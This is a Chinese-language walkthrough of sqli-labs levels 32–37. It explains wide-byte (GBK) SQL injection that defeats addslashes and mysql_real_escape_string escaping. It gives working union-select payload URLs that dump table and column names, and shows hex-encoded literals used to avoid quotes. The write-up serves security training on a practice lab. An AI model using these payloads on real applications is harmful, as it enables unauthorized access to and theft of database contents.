No.32【宽字节注入】【绕过引号】
这一关过滤了
'
"
/
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
正常注入'会被转义,这里我没想到可以用宽字节注入,因为汉字是两个字节,我们可以在,即转义符号之前加上另一个十六进制把它构成一个汉字:
?id=1%dd'
这里%dd变成十六进制(0xdd)和后面的\(0x5c)在一起构成了0xdd0x5c是一个汉字,后面的单引号就被释放了。
宽字节注入:本人理解的是,由于英文编码每个字母占一个字节,而汉语编码每个汉字占用两个字节,而注入的时候会自动在单引号和双引号前面加上反斜杠(\’)进行转义造成注入失败,所以前面再加上一个汉语编码,如%df(其他编码也可以,不过要ASCII值大于128服务器才会认为是汉字(GBK)编码),由于服务器认为编码是两个字节所以会将后面的反斜杠编码(\)即%5c也看作是汉语编码,从而造成%df%5c被认为是一个汉字,后面的单引号逃逸了出来构成注入。
这样就成功报错,接下来正常注入就行了
还有一个小问题,就是我们遇到如下语句时也是会接触双引号的
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
这里有两种方法绕过
方法一:直接用database()代替'security'
?id=-1%dd%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
方法二:可以使用十六进制绕过
?id=-1%dd%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
//首先,这里的十六进制之前要加0x;
//其次,这里十六进制encoding的只是security而不是'security'
爆列类似:
?id=-1%dd%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+
No.33【addslashes()】
这一关用的addslashes()函数
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
但总的注入方法还是一样的。
?id=-1%dd' union select 1,database(),3--+
No.34【POST绕过引号】
这一关也是过滤引号,只不过数据是要用POST传递,既然是POST传递,那么结果就会被url编码,比如%dd会变成%25dd。既然这样我们就只能取原字符,类似于:
也可以bp直接跑,还是填%dd,不会二次编码。
No.35
都一样,就是成了数字型注入
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
No.36-No.37【mysql_real_escape_string()】
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符:•
\x00
•\n
•\r
•\
•'
•"
•\x1a
而对于sql注入来说这个函数和之前的addslashes()函数差距应该不是太大,所以注入方式就见前两关,不再赘述。